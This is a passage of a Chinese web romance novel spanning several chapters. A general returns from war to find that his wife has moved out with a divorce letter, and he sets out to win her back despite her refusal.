“娘子,您在这里做什么?”果儿瞠目结舌地看着她一手拿着锄头,一手拎着木框,这里刨一些土,那里捡两片叶子,迷惑不解。 “给桃树挖土,施肥,它可以长的更高更快。”薛含桃老老实实地和果儿解释,又小心地分出一撮泥土放到一个陶罐里面。 果儿瞥了一眼,认出陶罐是上个月新买的,娘子用来熬煮过款冬花,之后送进宫 里还得了陛下和贵妃的赞赏。 款冬花的止咳效果明显,听说陛下吩咐太医们每日熬煮,半个月来,他的咳疾好转许多。 果儿撺掇,“娘子要不再往宫里送一次?” 如今,外头的勋贵哪家不知宁国夫人!果儿再见到宫里的姐妹得到的都是羡慕的目光,她心中畅快的要命。 “不了,太医定然比我熬煮的妥当。”薛含桃的眼神停留在褐色的泥土上,重复道,“陛下是最尊贵的人。” 尊贵的天子从未去过乡间,哪里知道有些东西他沾不得。 款冬花的根茎很难洗的干净,永远都会带一些泥土。寻常人不会受到一丝影响,但天子,便说不准。 薛含桃抬头,看向天空,一片明亮,她陷入了沉思。 果儿见此,问她在想什么。 她低声回答,“想稽夫子的话,想我与世子和离。” 薛含桃很谨慎,但万一事情败露,她会把和离书拿出来。 闻言,果儿脸色微变。 第79章 第七十九章她也不要他了。 “飘雪,不要害怕,你还记得你吃过的肉干吗?便是薛娘子亲手做的。” 一只毛发雪白的猧子被稽韶抱在怀里,一人一狗进入前后共有四进的宁国夫人府。 稽韶为了回报恩情而教学的地方在第二进的西厢,他跨过一道游廊,迎面遇上模样警惕的果儿。 圆脸的侍女面对他,态度和从前截然不同,眼睛恨不得在他身上盯出一个洞,叫稽韶以为自己在无意中得罪了人。 “稽夫子来便来了,怎么还带着一只白毛小狗?”果儿双手叉腰,一脸不客气,好你个长的人模人样的夫子,心思可真是阴险,故意用自己家的小狗吸引娘子的注意力。 竟然还敢怂恿娘子和离,不可饶恕! “我不在家,飘雪一只狗恹恹不乐,我担心它生病,带来和阿凶一起玩。果儿姑娘若是觉得不妥,下次我不带了便是。”稽韶的脾气很好,当即同果儿赔了不是。 果儿冷哼一声,忍不住想说最好他下次也别来了,文玑走近发现小狗,惊喜不已,“好可爱的猧子。” “稽夫子,您快请,夫人已经在西厢房等着您了。” 稽韶对着文玑含蓄点头,将怀里的小狗放下,刚好大黑狗嗅到了同类的气味,不慌不忙地走了过来。 “汪!” “呜。” 两只狗时隔数月,居然还记得对方,互相嗅了嗅气味,摇着尾巴在院中奔跑着玩。 “以前在村里,阿凶也有一个白狗朋友。”薛含桃听到狗叫声,从西厢房中走了出来。 “飘雪倒是第一次交到一位狗朋友。原本,我进京时没想带着它,可是它偷偷钻进了我的书箱里面。” 稽韶和她解释小狗的狡猾行径,不出意料又从她的脸上看到了明媚的笑容。 他心念一动,问薛含桃之前那种肉干还有没有。 “有。”薛含桃眼睛微亮,再度返回西厢房找来了两块肉干。 这是准备喂给阿凶的,紧接着她呼唤大黑狗的名字。 大黑狗不仅体型大年龄也比小白狗长了很多,它见主人拿出了肉干,大方地叼走一块请小白狗吃。 小白狗嗅到了肉味,毫不客气地用嘴巴和爪子啃咬抓挠。一块肉干下肚,它对大黑狗的态度变得热情亲近,朝着大黑狗摊开了肚皮和四肢。 谁知,凑上前的却是一个眼睛发光的小姑娘。它偏了偏脑袋,没有躲开。 薛含桃轻轻地抚摸小白狗柔软的长毛,模样肉眼可见地开心,从知晓崔世子离开都城那一刻起,她已经很久没有露出纯粹的笑颜。 快乐其实很简单,她一点都不贪心。 果儿在一旁将这一幕收到眼底,心中的滋味有些不好受,稽韶自是比不了世子,但倘若娘子可以天天这般笑…… “阿凶的前腿上似乎扣着一个东西,是有什么寓意吗?”稽韶微微俯身,笑着指向大黑狗,假若内有讲究,他也会为飘雪做一个。 薛含桃摸了摸小白狗,又去摸大黑狗,暗暗比较之后,心里正道要继续给阿凶喝熬好的芝麻茯苓水。 猛一听到稽夫子问起金环,她张了张口,“金环是世子送给阿凶的认主礼,里面刻着阿凶的名字,世子说,狗仗人势,别人看到阿凶身戴黄金,便不敢凶它赶它。” 他的每一句话自己都记得很清楚,根本不必仔细去想。同样,他们之间的一点一滴她也一直牢牢记着。 酸的,甜的,以及痛到麻木的。 被她信仰的神明就要归来,她的心里欢喜,兴奋,激动,可是小小的角落里面也有一丝疼,一丝累,一丝悔。 不确定,在之后的时间里面会不会又有意外突然出现,将她整个人重击到粉碎。 再有……薛含桃知道自己无法承受了,一定会死掉。 “崔世子考虑周全,不愧是人中龙凤。”稽韶附和着称是,抬眼看到她怔然的神色,放轻了呼吸。 又一次,他感受到了她的难过,尽管当中有细微的不同。 “稽夫子,假如将来你的夫人是一位绝世无双的巾帼英豪,而你却在不为人知的时候,变成了丑恶的坏人,要怎么办呢?” 稽韶的表情比之前有所触动,他静默片刻,像是担心吓住她,张开唇的声音轻不可闻,“薛娘子若问我,我便如实回答。” “其实我是一个自私的人。” “两人成婚相爱,我不负她,她不负我。除此之外,家世声名甚至善恶全无关紧要。我的自私在于我更加看重自己的感受,如果有一天,在两个人的相处中,我感到疲累,尽管还爱着,我也会停下来重新思考还有没有必要再和她走下去。” “身份上,人与人多有不同。但对于爱恨情仇,所有人都是平等的,相爱也未必都要在一起。” “自私一点没有什么不好。” 他暗含鼓励的目光落在薛含桃的身上,停留了很久,很久。 久到第二日,薛含桃仍记得。 她心不在焉地进宫,听到薛贵妃询问她的身体调养的如何,随口回答喝过孙医圣开的药,已经没有内患。 薛贵妃松了口气,说,“崔世子大捷归京,等到他回来后,小桃,你要尽快怀上他的孩子。” 她和德昌帝以及绝大多数人都以为崔伯翀寿命无多,大喜过后便是大悲。 薛含桃抿着唇摇头,目前的她脑中一团乱麻,还想不到孩子。 “不行,怀上孩子才更稳当,”薛贵妃的态度却很急切,当薛含桃面带不解地看过来时,她压低了声音,和心思单纯的堂妹透露了原因,“陛下年岁长了,阿姐怕太子年幼,你我撑不住局面,一个崔世子的孩子能用来笼络朝中的武将。” 薛含桃愣了愣,反应过来阿姐口中的年岁长了是什么意思,陛下的身体恐怕露出了衰败之象,虽然之前也不甚康健,但现在只会更糟糕。 也许,其中便有她的缘故,哪怕只有微不足道的一点点。 薛含桃的心中一时翻江倒海,陛下残害功臣,放任蔡存等人祸害百姓,外敌入侵也只想着送钱求和弃城而逃,但他仍是自称真龙的天子……或许报应会落到她的身上。 “阿姐,不会有孩子,我不想为世子守寡,便让他离京之前写了一封和离书。”她终于下定决心,将和离书拿出来给薛贵妃看。 薛贵妃从头到尾地将和离书看过一遍,蓦然失言。 “从前我与世子的婚事并非我二人所愿,很多人包括我自己都觉得我配不上世子。可是,现在的我不欠他,我…我想自己做主一次。 “阿姐你放心,我会和你一起保护太子。陛下那里,劳阿姐帮我一次。朝中诸公正热火朝天地讨论战后事宜,我与世子和离应该不打眼。” 薛含桃耷拉着脑袋,认真地说出了她心里的真实想法。 依然深深地爱着,但桃子累 了,想要暂时停下来。 大概,她是自私的;大概,他其实只喜欢甜蜜的桃子。 坏掉的,满腹算计的桃子滋味发苦发涩,根本无法入口。 告别了薛贵妃,当日她回到定国公府,郑重其事地将所有东院的人聚在一起,告诉他们自己不再是世子夫人。 玉蘅等人看着那封崔世子亲笔写下的和离书恍惚不已,也终于明白为何她搬去了宁国夫人府。 可是世子大胜金人,不日便归,未来已经是一片光明。 “夫人不再考虑……”玉蘅欲要开口挽留,她根本无法想象,世子回府后面对人去楼空的场景会做什么。 “我考虑好了,不过,那株桃树苗我会照顾到世子回来,它是我对世子的承诺。” 薛含桃的眼眶泛红,然而,她的身体前所未有的轻松。 对,累了就停下来。 她这般想,浅浅一笑- 同一片天空,距离都城不到百里。 崔伯翀骑在马背上,突然感受到心口处一股难以控制的刺痛,仿佛有什么不受控制的事情发生,令他慌张。 他握紧缰绳,**的黑马朝着都城的方向,高高仰起了前蹄。 “世子,之前是我太过鲁莽唐突,多次冒犯了夫人。这次回京,我一定跪下向夫人请罪。”说话的人是韩璞,他躺在马车里面,脸色憔悴而愧疚。 从得知救了世子的紫昙出自夫人之手,韩璞便日夜难安。 他不仅对夫人说了那么多难听的话还将人赶走,若非这次充当前锋受了重伤,他和世子之间的情谊便完全尽了。 崔伯翀回头淡淡瞥了他一眼,让他少开口。 “不错,天子犹在,伯翀服用紫昙的事绝对不能透露出去。” 与韩璞相对而坐的人是崔世子的舅父杨解,这一次大战,他虽未提刀上阵,但耗费精力颇多,崔世子便强烈要求带他回京修养身体。 这次,他们一行人算是领着一群老幼病残提前回京。 德昌帝和朝廷那些人还没有讨论出个所以然,但崔伯翀一言令下,根本不等接收到朝廷指令便拔营出发。 当然,为了给都城那些人一个彩头,他们此行也将几个位高权重的金人俘虏带了回来。 只是,杨解经历过天子的刻薄寡恩,显得格外的谨慎。 “不,舅父猜错了。我的意思是韩璞既然不会说话,那就把嘴巴闭牢,只跪下便是。” 崔伯翀掀了掀薄唇,说出来的话一如既往地刻薄。 闻言,杨舅父喉咙梗了一下,韩璞却如释重负,龇牙咧嘴地拍着胸脯,让崔世子放心。 “世子,按照路程,明日下午便能抵京,可要暂时歇息一晌?娘说您将马车让与他人,总在马背上不得停歇,身体受不住。”方振骑马过来,望着天色说道。 他的娘亲是将崔伯翀喂养带大的月嬷嬷,这次和他们一起回京,途中刚好和孙大夫等人照料伤兵。 纵然崔伯翀归心似箭,迫切地想要见到他的桃子,但月嬷嬷的话他到底听进去一些。 “我记得附近有一条渭河的支流。”他看向方振。 方振想了想,点头,不多时拿来了干净的文武袍和皂角。 连续奔波数日,是个人身上都少不了酸臭,从前对人与事都不上心的崔世子,这时也开始在意起自己的仪态。 冰冷的甲胄除去,转而换上一件月白色暗绣长袍,洗过的长发变干后,以镂空金冠半束头顶。 崔伯翀慢条斯理地用一只玄色铁革将袖口箍住,行至月嬷嬷身边,看呆了一群人。 “明日一早我会策马先行,劳嬷嬷和舅父等人迟一些入城。” “这般模样,世子急着归家抱媳妇啊。”月嬷嬷忍不住打趣了一句,语气满是稀罕。 面对与他有母子情谊的妇人,崔伯翀含糊地嗯了一声,算是承认了。 月嬷嬷笑的开怀,从身上掏出一个盒子递给他,眼神怀念,“这里面是娘子留下的一根红玉簪,世子带回去送给世子夫人。” “讨心爱的人喜欢,可不能莽头莽脑的。” “我知道了。” 崔伯翀收下红玉簪,眼底浮现一抹柔情- 次日,天不亮,他就骑马向都城飞奔。 崔伯翀记得那日他们一同见王牙媪时,听王牙媪讲诉四年前他入城风姿,她脸上露出的遗憾。 这一次,他会只给她一个人看见。 然而,匆匆入城,如一道疾风归来的崔伯翀回到他和桃子的家中,望见的却是空荡荡的房间。 不仅正房,充当狗窝的偏房也空了,处处带着搬离的痕迹。 玉蘅等人颤颤巍巍地告诉他,夫人搬去了陛下赏赐的宁国夫人府。 崔伯翀目不转睛地盯着书房外矮小的桃树苗,神色平静,换一座府邸而已,有什么大不了。 他问清了地址,转身便走。 “可是,夫人说她与世子已然和离……” 之前他抛弃了她,现在她也不要他了。 耳边蓦然响起这一句话,崔伯翀的眼睛似乎被烫了一下,他不自然地眯起来。 仿若没有听到。 第80章 第八十章拒绝他。 从定国公府到玉蘅口中的宁国夫人府,只是隔了一条街道。 这时是午中,崔伯翀慢悠悠地走着,面色依旧平静,他活着回来了,第一时间当然是找到他的桃子。 至于那封和离书,他并未失约,又怎么会作数? 崔伯翀想,见到她后,和离书得直接拿回来,烧成灰烬或是撕碎喂鱼,一个碍他眼的东西完全没有存在的必要。 日光下,他抬头凝视宁国夫人府五个大字,神色自若,径直推门而入。 罗承武先看到他,脚步一顿,恭敬地唤了声世子。 崔伯翀掀开薄唇,淡淡地睨了他一眼,“我将守卫夫人的重任交给你,你就是这么做的?” 府门处竟然空无一人,留下来的护卫尽皆失职,身为首领的罗承武罪责难免。 “世子,夫人现在是宁国夫人,与您不再是夫妻。是以,东院的护卫,最后能够跟来的只有我一人。”罗承武如实解释,感受到落在自己身上骤然沉冷的眼神,他顿了顿,接着又道,“世子离开这段时间,夫人大多数时候都不怎么好。” 昏昏沉沉地病了一场;重新变得消瘦;被皇帝当作人质;遭遇刺杀……但一直到世子大胜金人凯旋而归的消息传来,小桃才将和离书拿出来。 而世子为国为民出征,更加没有过错,只是罗承武留在京中,对她前后的变化太清楚。 此时,他无比期望崔世子能够理解小桃,接受今日的局面。 不怎么好,那便是很坏,很糟糕。 从向来沉默寡言的护卫口中听到这句话,崔伯翀指尖生出几分钝痛,密密麻麻地蔓延至心头。 他眸中的冷峻尽数消失,一语双关地说,“不会再有下次。” 更加迫切地想见到他的桃子,将她抱在怀里,一遍一遍温柔地哄她,亲她的脸颊,轻拍她的后背,告诉她所有战事都结束了,剩下的时间不会有任何人和事再将他们分开。 他会永远地守在她的身边,将她养成一朵无惧风雨,自由舒展的花。 罗承武垂眸应声,迟疑半刻,终究没有开口说府邸里面还有一位世子并不陌生的客人。 他看得出来小桃和稽韶之间并无男女之情,稽韶只是在报恩,而小桃将人当作夫子尊敬的同时更喜欢那只长毛的小白狗。 退一步说,即便两人有些什么,小桃与世子已经和离,他包括世子其实都没有资格说三道四- “飘雪,听话,不要动,一会儿喂你肉干吃。” “嗯,看着我。舌头,舌头最好不要吐出来。” “还有你,阿凶,你离飘雪远一些,尾巴收回去。” 清甜的声调传入耳中,崔伯翀在游廊的拐角停下来,顷刻间,想念如燎原之火,在他的体内熊熊燃起。 他抬眸, 眼尾上扬,面如灼日生辉。 院中,穿着嫩黄色衣裙的桃子背对着他,手提画笔,正画着一只白毛小狗。听她的声音,便能想象出她脸上开怀灿烂的笑容。 很高兴的模样。 可是,崔伯翀静静站着,又沉又重地扯了下唇角,没有上前。 她的对面,不止一只摇尾乞怜的小狗,还有一个不知死活的文弱书生,朝着他的桃子笑的很难看。 两人在青石县没有完成的约定,时隔数月,当着他的面,终于绘就了眼前的这一幕。 忽然,崔伯翀轻嗤一声。 他早就应该料想到会有这种场景,毕竟,在她尚未完全展示自己的风情时,就有人不怕死地觊觎,窥伺。 凉冰冰的笑声引起了稽韶的注目,认出了男人的身份,他的表情僵住。 从房中端着甜汤走出来的果儿一眼望去,也软了手脚。 唯有薛含桃,认真地提笔作着画,根本没有发现有一道颀长的身影正缓缓朝她走近。 然后,他迎着日光站定,在她将最后一笔落下的瞬间,握住她的手腕。 “画了这么久,手疼不疼?”崔伯翀眉目含笑,压着汹涌的妒火,从背后将人抱住。 他的,是他的,只是他的。 任何人都不能从他的身边抢走,除非踏过他腐烂的尸体。 画笔从手中骤然掉落,薛含桃的眼睛一眨不眨地盯着半空,飘起了水雾。熟悉到,想念到,只是声音,只是一个触碰,只是嗅到的气息都可以认出来。 她无比努力想要跟随的,给她希望又让她陷入绝望的那个人,回来了。 “世子…比我以为的时间早了一些,”薛含桃慢慢吞吞地转过身,睁大了眼睛将面前的人看过一遍,像是确认,“是真的,平安的吗?” 其实仔细辨认,还是能发现一些变化。双颊微陷,眉骨更高更锋利,锐气和威压也更重。 但这些并不影响崔世子郎艳独绝的风姿,他仍旧是他,她记忆中的那个人。 “我承诺过,我会活着归来。”崔伯翀张开薄唇,炙热的目光落在她的脸上,为她轻轻拭去流下的泪水。 不必哭,也不必再担心。 “是真的,也是平安的。”薛含桃眼神发怔,再三确认眼前的人不是梦中出现的幻觉,她露出一个笑脸。 笑中含泪,痴痴地望着他。 明明只离开了几个月,但在她的眼中,像是过了一辈子之久,在薛含桃的梦魇里面,他无数次变成不会动的尸体,与她天人永隔。 所以,她怎么看都看不够。 崔伯翀从不怀疑她对自己的爱意,见此,他笑着向稽韶轻慢的瞥去,“信守承诺不错,但也要注意距离分寸。” 一个胆小如鼠的懦夫,一个不要脸的玩意儿,拿来立国夫人的威名可以,如兄长或如好友般相处全都不行。 闻言,稽韶脸色微白,伏低身体,朝崔世子深深作揖,“承蒙宁国夫人抬举,不嫌弃我学识浅薄,今至府中为宁国夫人讲史授课,还请世子勿要误会。” 他没有提起和离一事,已是十分体面。 “身上不过一个秀才的功名,学识确实鄙薄,你走吧,带着你的猧子,日后不必再来,我的夫人我自会教导。”崔伯翀黑眸冷淡,说出的话毫不客气,而这已经是他压制了妒火的结果。 否则,便是青石县那一日,堂而皇之地羞辱,将稽韶最难堪的伤口显露在人前。 稽韶态度恭谨,俯身将不明所以的爱犬抱在怀中,作势告退。 那幅已经完成的飘雪戏球图,他看了一眼,动了动嘴唇,到底没有开口。 看着他离去,薛含桃意识到了什么,呼吸停了停,将人唤住,“稽夫子慢走,下次与飘雪过来……这幅画再赠予它。” 说话的时候她的手指抠着衣角,努力地不去看身边男人的神色。 气氛骤然沉寂,稽韶顶着足以将他活剐的阴冷目光,轻声道,“我替飘雪谢过娘子,下次便学汉晋正史。” “嗯。”薛含桃点头,等到果儿将人送离,她垂下了脑袋不说话。 玉蘅肯定将她搬离定国公府的前后原委禀告给了世子,这时按照礼法,她与世子便是独立的两个人,他和稽韶同样是她的客人。 方才的欢喜激动冲昏了她的脑袋,现在薛含桃清醒过来,默默地想要挣脱他放在自己手腕的力道,给世子重新选择的机会。 “不要乱动,”崔伯翀指骨捏地青白,顺着她的手腕往上,抬起她的下巴,动作温柔又耐心,“你想听汉史晋史,乃至前朝史书,我都可以讲给你。” “书房的书架上,便摆着各个朝代的史书,走,我们一同回去。” 他欲揽着她重回定国公府,淡声言这座府邸处处简陋,连守门的护卫都无,“这里还需要修缮一番,之后我命人寻几个能工巧匠。” “不…我不回去。”薛含桃鼓起勇气拒绝,小声地说,“这是我自己的家。” 温柔似水的柔情对桃子没了用处,她坚持告诉他,他的家和她的家不再是同一处。 崔伯翀恍若未闻,想了想,冷静地从身上拿出一个细长的锦盒,“这里面是我母亲留下的一只红玉簪,打开看看,喜不喜欢?” 锦盒掰开她的手心放进去,他的手掌转而轻缓的拢起一缕乌发。 吃了多日的补药,原本干枯的黄色慢慢蜕变,如今他手中的发尾细滑柔亮。崔伯翀想,这一缕可以剪下来与他的头发绑在一起,到了若干年后放进他们的棺材里面,来世他仍能找到他的桃子。 薛含桃没有打开锦盒,世子母亲的遗物应该留给将来的世子夫人啊,她不再是了,所以不能要。 “我一直没有告诉世子,能与世子成婚是我人生中最幸运的一件事。” “世子救过我的命,我感激世子,后来恬不知耻地又爱上了世子。” “捡到种子的时候,我便想借着报恩,多和世子接近……我只是一个出身低微性子又木讷的农女,何德何能让世子爱上我。” “元宵节的那晚,我是真的很幸福。” 她扬起笑容,望着他的目光依旧真挚,充斥着浓浓的爱意。 崔伯翀的心头却有一种不祥的预感,垂眸注视着她,喉咙第一次生出微微的酸涩。 “只是,我和世子终究是两个世界的人,世子还是所有人口中的大英雄,守护神,我…和从前不一样了,不是世子喜欢的模样,不再努力,也不再用心。” “世子不欠我,我也不欠世子,可我太过自私卑劣,想把天上熠熠生辉的太阳藏起来。” “当然,我做错了,对不起。我很累,应该停下来,去走桃子自己的路。” “所以,就停在今日吧,好不好?反正和离书已经写下,若是不用便浪费……” 薛含桃干巴巴地张着嘴唇,请他松开自己,库房里由他置办的嫁妆和聘礼她都没有动,只是带走了几件首饰和那些新衣。 累了,自己的路,停在今日,她的每一句话都在崔伯翀的血肉上刺出针眼大小的伤口,渗出细密的红色。 反而,他的面上一片淡漠,看不出具体的情绪。 原来,桃子真的不要他了,煽情地说了一大堆话,真正的目的就是要和他分开。 “说完了吗?”他薄唇微抿,问她。 薛含桃紧张又小心地嗯了一声,是的,她要和他说的话只有这些,他们互不亏欠,他可以头也不回地离去,她也有累了说停下的权利。 并非不爱,只是桃子也需要时间治疗伤口,恢复生机。 崔伯翀漫不经心地盯着人,将细长的锦盒打开,“我拼死从死人堆里爬出来,一路不停歇地赶回京城,是要回到桃子的身边,告诉她不要害怕,我会永远陪着她。” 他捏着玉簪,随意地打量一眼后,斜斜插在她的头顶。 他的嗓音同样平缓,问她还害不害怕,做不做噩梦。 薛含桃鼻腔一酸,飞快地摇头,残忍地回,“对不起,我成为国夫人了,已经不需要别人来陪。” 将来她还会是天子姨母,变成他口中厉害能耐的女子。 “既然和离了,日后世子便少来吧,我…我不会再随便让你入府,更不会再让你赶走我的贵客。” 薛含桃,她不再和从前一样胆小卑微,有勇气和他说不,也可以直接搬出身份拒绝,还能与他生分疏离。 “宁国夫人,果然很出息,都学会冲人说狠话了。”崔伯翀敛眉,笑不可支,可只是一瞬,他低下声音,灼热的呼吸靠近她的脸颊,“但,我的乖桃子,你忘了一件事。” “什么事?”薛含桃浑身不自在,红着脸想往后退,没有退开,她索性大着胆子,硬邦邦地反问回去。 指尖死死捏着,为自己增添底气。 “和离书啊,不是简单的几个字就了事,必须到官衙备案后才可生效。” 他言语亲昵。【魔蝎小说 mo xie xs .c om】 80-83 第81章 第八十一章换他追求桃子。 薛含桃呆在原地,和离居然还要到官衙登记才作数,难道不是签字画押? 丰县有不少和离的夫妻,可她从未听说其中需要官衙插手。” 你是在骗我,有和离书就够了。“她振振有词,自己是不会上当的。 “乡野之地,约定俗成几乎可以替代律法。但你我乃是皇帝赐婚,本身又非寻常百姓,成婚时三聘六礼不可或缺,和离自然也要按照礼法规矩来。”崔伯翀的目光长久地停留在她的脸上,发现她流露出来的懊恼,心下一沉。 “好,那我拿着和离书到官衙登记……补上也不迟。”薛含桃有些丧气地咬了下唇,没有见过世面的她就连和离也会出错。 不过不要紧,结果不会改变,她去官衙一趟便是。 崔伯翀脸上的微笑渐渐消失,剑眉压眼,恢复了冷淡甚至阴郁的模样,“存心气我可以,别的,全部不行。” 她的那声恨,他至始至终没有遗忘,所以,他愿意容忍她心里有怨,有气。 然而,从他身边离开,不行。 他伸手抚弄她的脸颊,薛含桃偏过头闪躲,眼神执拗又认真,“不是故意气世子,我只是要做回我自己,我不愿意再因为你而伤心,更不想满是焦躁地等待。” 一次,两次,或许还有第三次。 索性,在第三次到来之前便分开好了,如此她可以继续活着。 她抬起手臂,将发间的玉簪拔下来,双手捧着还给他,“不管喜欢不喜欢,它都该经过我的允许才能插在我的头上。” 和他比起来,纵然她算不得什么,但她是一个活生生的人,有自己的思考,可以选择她想做的事情。 “如果世子爱着我,希望我变成能耐美丽的女子,那么便请接受现在的我,尊重我作出的决定。” 从崔伯翀口中说出的话,有朝一日,终于变成一只利箭,插在他的心间。是他承诺过的,要让桃子自由自在地扎根,拥有安乐幸福。 那么,对薛含桃而言,远离令她伤心的他何尝不是一种幸福呢? 望着她真诚的表情,这一刻,向来骄傲的崔世子口中尝到了真实的涩意。 他掀唇低嘲,没有接过她双手捧着的玉簪。 薛含桃默默地看着他走到画案面前坐下,也走过去,弯腰将红玉簪子放在他的手边。 玉簪精美无双,但她不想要。 “未时快要过去了,我饿了。”崔伯翀身体后仰,闭上了眼睛,从天不亮就骑马回城,到如今的未时,他滴水未进。 “宁国夫人不会吝啬到连一顿饭都不愿意吧?”日光照映在他的眉眼轮廓,好似一幅浓墨的画卷。 “不,愿意的。”薛含桃微微摇头,小声问他想吃什么。 她左右看看,目光所及的地方只有他们两人,连大黑狗也被果儿姐姐唤走了,想起厨房有做好的鱼丸还有新鲜的山菜,“我给世子做一碗汤饼,好吗?” 崔伯翀没有回答,闭着眼睛仿佛睡了过去,隐隐透出几分疲惫。 薛含桃忍不住看他,胸口有些难受,闷着头去了厨房。 好在灶上一直烧着热水,她没费多少功夫就煮好了一碗热气腾腾的汤饼。 可是当她端着出来,院中的男人已经不见了身影,仿佛他从来都没有来过。 薛含桃愣了一下,说不出此时心中的滋味,她将汤饼放在案上,嘴里咕哝道,“不吃多浪费啊。” 她夹了一颗鱼丸,鼓着脸颊咬碎咀嚼,味道很鲜。 连吃了三颗鱼丸,薛含桃侧眸看到流光溢彩的红玉簪子,伸手拿起来,感受到玉石的柔润,又低声说,一定很值钱。 喜欢是真的,不想要也是真的。 薛含桃小心翼翼地将玉簪重新放回锦盒里面,决定找一个机会再还给他好了。毕竟,这是世子母亲留下的遗物- 崔伯翀漫无目的地走在宽敞的街道上,他选择在她回来前离开,是突然间察觉到自己竟然反驳不了,她的每一句话。 方振告诉他爱人如养花,她不能离开阳光雨露,同样也要经历风吹雨打。 唯有此,才可以茁壮又生机勃勃地活在他的世界里。 所以,她说要走自己的路,不愿意为了他而伤心有什么问题呢?一丝都无。 崔伯翀无声又放肆地笑,桃子确实出息能耐了,几句话轻而易举地操纵他的心神,只要她愿意,甚至能把他表面的从容淡定完全撕开。 那个执拗的眼神多深刻啊,令他沉默到心慌,清晰地意识她确确实实不想再陪在他的身边。 但崔伯翀绝对不会答应。 他不会将她从自己的手心放走,永远不会- 临至傍晚,方振、月嬷嬷和杨解等人进了都城。 回到定国公府,不仅没有见到世子夫人,世子也失了踪迹,方振愕然失色,瞒着母亲他们,他从玉蘅的口中得知几个月来发生的事情,出府寻人。 最后,天色彻底暗下来时,方振在京城位置最高的那处阁楼找到了崔世子。 他站在窗前,眺望万家灯火,面色平静。 方振在他的身后说道,“郎君,您该回府了,明日一早还要进宫觐见。” 其实,按照规矩,今日回京就该立刻入宫,否则,朝中弹劾的奏折必定多如雪花。 崔伯翀毫不在意,嗤笑一声,到了今日若还让几条规矩将他辖制住,新的一条命他不如不要。 方振听出他笑声中的凉意,犹豫半晌,又道,“小桃无论做出什么决定,郎君都不能怪她,玉蘅告诉我,郎君离京的这段时间,小桃很辛苦。” 闻言,崔伯翀眉心微动,转过身看他,让他继续说下去。 “我们离开没几日,小桃就病倒了,之前她刚把郎君给她的桃核种下。昏迷不醒的时候,总是做噩梦,哭着流泪,直到第一次大胜的消息传回,她才慢慢转好。” 方振语气萧索,很早之前他就知道,拥有小桃的世子十分幸运,但陪伴在世子的身边,对真诚简单的小桃而言,也许是不幸。 “……是瘦了一些。”崔伯翀的视线慢慢下移,往日不知抹去多少人命的手掌在颤抖。 怎么想不到?他的离去会带走她大半的生命。她给出的是一颗赤忱的心脏,远离了躯体,自是大病一场。 “陛下为了安抚,赐给了小桃一座府邸,为宁国夫人府。” “旧砖旧瓦,残陋破败,陛下也好意思拿得出手。” 他冷声嘲讽,方振微顿只当没有听见,接着又道,“可能是忌惮郎君,陛下要小桃每日到宫中看顾太子,天亮出,黄昏归。” 表面是因为薛贵妃和太子表示亲近,实则将一个懵懵懂懂的小姑娘当作了人质。但凡崔世子在前线有任何不敬的举动,下一刻她便性命不保。 做皇帝的人永远自私多疑。 崔伯翀眼神冷酷,想象到她因为自己每日担心受怕的画面,指节狠狠地扣在阁楼的窗楞上。 他留下了精锐的护卫,拜托了狄公和孙医圣,又暗中打点了宫里的内侍,但仍是不 够。 “后来,内务省前都知石宪一向陛下提议往郎君的身边派监军督查,”方振呼吸停滞片刻,继续说下去,“朝中反对声众多,石宪一气急败坏之后想要构陷郎君,于是大胆派人截掠小桃,幸而罗护卫贴身保护,狄公也随后派人赶到……小桃安然无恙,但也受了不小的惊吓。” 寂静的黑夜,窗楞发出了一声咔嚓细响,崔伯翀半阖着眼皮,缓缓睁开,黑眸如墨,冷光森森。 “石宪一呢?死了还是苟活着?” 方振毫不怀疑,自己若是回答人还活着,世子会立刻闯入宫中,将人活活剐死。 他摇头,“狄公抓了人,愤而直对陛下,群情激奋之下,石宪一被赐死。” “赐死?岂不是太轻易了些……你派人去打听,他的尸体被埋在了何处,找到后挖出来,包括参与在其中的人,一起横尸暴晒。” 月光下,男人的神色幽沉,好似没有感情的妖魔凶鬼。 “原是如此,她说想要与我分开,是我做的还不够…不够…” 崔伯翀抬手,手心被木刺弄出了汩汩而流的鲜血,他随意拔、出来,强烈的疼痛令他呼吸一时困难, 是他的错,他对不起捧出了一颗真心的她- 深浓的夜色里,薛含桃躺在不大也不小的雕花床榻上,睡意朦胧。 大黑狗卧在离床榻不远处的毛绒垫子上里,黑黝黝的鼻子动了几下,蓦然睁开了兽瞳,警惕地望着来人。 有不祥的血腥气! 它正欲唤醒熟睡的主人,一只修长的手放下来,动作优雅地抚摸它头顶的毛发。 阿凶更近地嗅到气味,顿时了然,原来是另一个离家的新主人,他今日归来了,晚上会和主人一起入睡。 大黑狗低低呜了一声,重新卧回垫子上,只一双深棕色的眼睛安静地望着他。 即便他是新主人,但凡伤害床榻间的主人,它也会张口用尖利的牙齿咬他。 不过,阿凶观察了一会儿,觉得新主人并无伤害主人的心思。他应该是饿了,一言不发地喝着冷掉的茶水,慢慢嚼着桌上只是摆着好看的点心。 大黑狗莫名想到白日和主人分食的一碗汤饼,滋味鲜美,它舔了舔舌头,好心叼来了私藏的肉干,大方请新主人吃。 然而,新主人凉凉地瞥了它一眼,将肉干塞进了它的嘴巴里面。 大黑狗也不生气,默默将肉干吐出来,又叼回了原来的位置。 它吃的很饱,肚子一点都不饿,不像新主人,太可怜了。 崔伯翀无视一只狗眼中的同情,解开外袍,侧身躺在陌生的床榻上。 定定地看着一张粉扑扑的小脸,许久,他说,“换我来追求桃子。” 第82章 第八十二章装作没看到他。(二更)…… 崔伯翀返京的消息并非是秘密,但早朝之时,看到殿中漠然而立的男子,众人还是颇觉不可思议。 他怎么如此迅速就回来了?让人反应不及。 长袍玉面,巍巍高华,看起来不像是驱逐了金人的凶悍武将,反而像是在外巡视了一番归来的文臣。 不过,有些人悄悄打量一眼,浑身汗毛直立,立刻就发现了不同。 现在的崔世子和从前模样相同,可这一身冷戾锋锐的气势只有绞肉的战场才能磨练出来,毫不夸张地说,只是略靠近他就忍不住两股战战。 更可怕的是,他如斯年轻就屡立奇功,注定名留青史。诛杀蔡党等人也干净利落,将来朝中还有谁敢和他唱反调。 幸而他命不久矣,否则夜里岂能安眠。 如今殿中大多数人都已经知晓崔世子陈伤难愈的旧事,微微松一口气。除了有个老顽固的御史上书斥责他无诏而归,其他人都附和枢密使狄大人的请求,对他重加封赏。 德昌帝没有拒绝,欣然在他太子少师之上又加一个太尉虚职,而在当朝,太尉一职名义上属武将之首,多为追封。 其余钱财田地亦是不少。 